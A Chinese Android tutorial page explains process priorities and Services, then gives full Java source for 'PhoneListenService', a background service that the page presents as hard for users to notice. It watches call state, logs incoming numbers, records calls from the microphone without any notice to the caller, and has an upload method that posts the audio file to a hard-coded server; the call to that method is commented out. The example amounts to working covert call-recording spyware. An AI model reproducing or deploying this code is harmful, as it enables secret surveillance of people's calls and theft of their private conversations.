Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> Android 采用服務監聽用戶的通話,上傳信息到服務器

Android 采用服務監聽用戶的通話,上傳信息到服務器

編輯:關於Android編程

首先說一下進程的優先級:

Foreground process 前台進程
優先級別最高,即便系統內存不足的時候 也不會殺死前台進程

Visible process 可見進程
優先級稍為低一點

Service process 服務進程
存活時間比較長 .
裡面的子線程不會回收.

Background process 後台進程

Empty process 空進程
沒有任何的組件進程


為什麼要使用 service 是因為service這個組件會長期的在後台運行
一般情況下不會別操作系統回收.

Android中的服務和windows中的服務是類似的東西,服務一般沒有用戶操作界面,它運行於系統中不容易被用戶發覺,可以使用它開發如監控之類的程序。服務的開發比較簡單,如下:


第一步:繼承Service類

public class SMSService extends Service { }


第二步:在AndroidManifest.xml文件中的節點裡對服務進行配置:

服務不能自己運行,需要通過調用Context.startService()或Context.bindService()方法啟動服務。這兩個方法都可以啟動Service,但是它們的使用場合有所不同。使用startService()方法啟用服務,訪問者與服務之間沒有關連,即使訪問者退出了,服務仍然運行。使用bindService()方法啟用服務,訪問者與服務綁定在了一起,訪問者一旦退出,服務也就終止,大有“不求同時生,必須同時死”的特點。


采用Context.startService()方法啟動服務,只能調用Context.stopService()方法結束服務,服務結束時會調用onDestroy()方法。

采用服務監聽用戶的通話,上傳信息到服務器代碼示例:

PhoneListenService.java:

package cn.itcast.phonelistener;

import java.io.File;

import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.multipart.FilePart;
import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
import org.apache.commons.httpclient.methods.multipart.Part;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneListenService extends Service {

	// activity receiver contentprovider
	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	/**
	 * 在服務第一次被創建的時候 執行
	 */
	@Override
	public void onCreate() {
		super.onCreate();
		// 設置為前台進程 不易被系統回收
		setForeground(true);

		// 1. 判斷當前手機的狀態,
		// 2.如果發現手機處於 通話狀態
		// 3.創建一個錄音器, 錄下來用戶的通話信息
		// 4.當發現手機再次處於 idle 狀態 停止錄音機,把音頻文件 上傳到服務器
		// 得到手機與電話狀態相關的服務
		TelephonyManager manager = (TelephonyManager) this
				.getSystemService(TELEPHONY_SERVICE);
		// this.getSystemService(WIFI_SERVICE);
		manager.listen(new MyPhoneListener(),
				PhoneStateListener.LISTEN_CALL_STATE);
		System.out.println(" 線程id " + Thread.currentThread().getName());
	}

	private class MyPhoneListener extends PhoneStateListener {
		MediaRecorder recorder = null;

		/**
		 * 當電話的通話狀態發生改變的時候 被調用的方法
		 */
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_IDLE: // 當前電話處於閒置狀態
					System.out.println("當前電話處於閒置狀態 ");

					// 判斷下recorder是否為空
					if (recorder != null) {
						recorder.stop();
						recorder.release(); // Now the object cannot be reused
						recorder = null;

						new Thread() {
							@Override
							public void run() {
								// 上傳數據到服務器 演示的代碼 有問題的
								File file = new File("/sdcard/temp.3gp");
								try {
									// upload(file);
								} catch (Exception e) {
									e.printStackTrace();
								}
							}
						}.start();
					}
					break;
				case TelephonyManager.CALL_STATE_RINGING: // 當前電話處於零響狀態
					System.out.println("電話號碼為 " + incomingNumber);
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK: // 當前電話處於接聽狀態
					System.out.println("當前電話處於通話狀態 ");
					// 初始化一個錄音器,
					recorder = new MediaRecorder();
					recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

					recorder.setOutputFile("/sdcard/temp.3gp");
					recorder.prepare();
					recorder.start(); // Recording is now started
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}

			super.onCallStateChanged(state, incomingNumber);
		}

	}

	// 上傳數據到服務器
	public void upload(File file) throws Exception {
		// 實例化上傳數據的 數組 part []
		Part[] parts = { new FilePart("file", file) };

		PostMethod filePost = new PostMethod(
				"http://172.16.40.157:8080/web2/LoginServlet");
		filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost
				.getParams()));
		org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
		client.getHttpConnectionManager().getParams()
				.setConnectionTimeout(5000);
		int status = client.executeMethod(filePost);
		System.out.println(status);
		if (status == 200) {
			System.out.println("上傳成功");
		} else {
			throw new IllegalStateException("服務器狀態異常");
		}
	}
}
DemoActivity.java:

package cn.itcast.phonelistener;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

public class DemoActivity extends Activity {
	/** Called when the activity is first created. */
	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.main);
		Intent intent = new Intent(this, PhoneListenService.class);
		startService(intent);
	}
}
清單文件:




    

    
    
    
    
    

    
        
            
                

                
            
        

        
        
    


Intent intent = new Intent(this, PhoneListenService.class);
startService(intent);

類似於以上代碼,provider、activity、receiver組件可以使用同樣的方法開始意圖。

  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved